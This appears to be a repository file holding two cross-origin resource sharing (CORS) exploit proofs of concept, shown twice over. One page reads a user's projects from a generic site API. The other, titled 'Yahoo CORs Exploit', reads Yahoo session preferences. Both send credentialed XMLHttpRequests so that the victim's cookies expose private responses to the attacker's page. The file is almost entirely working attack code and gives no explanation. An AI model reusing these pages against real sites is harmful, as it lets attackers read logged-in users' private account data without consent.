nani1337/cors.html

## cors.html
<html>
<script>
var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://site.com/api/rest/1.2/users/12056e2fcdfb3a73d9674351f107bf5a/projects?_=1496248656402',true); req.withCredentials = true; req.send('{}'); function reqListener() { alert(this.responseText); };
</script>
</html>


2nd poc


<!DOCTYPE html>
<html>
<head><title>CORS</title></head>
<body>
<center>
<h2>Yahoo CORs Exploit</h2>

<textarea rows="10" cols="60" id="pwnz">
</textarea><br>
<button type="button" onclick="cors()">Exploit</button>
</div>

<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("pwnz").innerHTML = this.responseText;
    }
  };
  xhttp.open("GET", "http://api.view.yahoo.com/api/session/preferences", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>
	<html>
	<script>
	var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://site.com/api/rest/1.2/users/12056e2fcdfb3a73d9674351f107bf5a/projects?_=1496248656402',true); req.withCredentials = true; req.send('{}'); function reqListener() { alert(this.responseText); };
	</script>
	</html>




	2nd poc


	<!DOCTYPE html>
	<html>
	<head><title>CORS</title></head>
	<body>
	<center>
	<h2>Yahoo CORs Exploit</h2>

	<textarea rows="10" cols="60" id="pwnz">
	</textarea><br>
	<button type="button" onclick="cors()">Exploit</button>
	</div>

	<script>
	function cors() {
	var xhttp = new XMLHttpRequest();
	xhttp.onreadystatechange = function() {
	if (this.readyState == 4 && this.status == 200) {
	document.getElementById("pwnz").innerHTML = this.responseText;
	}
	};
	xhttp.open("GET", "http://api.view.yahoo.com/api/session/preferences", true);
	xhttp.withCredentials = true;
	xhttp.send();
	}
	</script>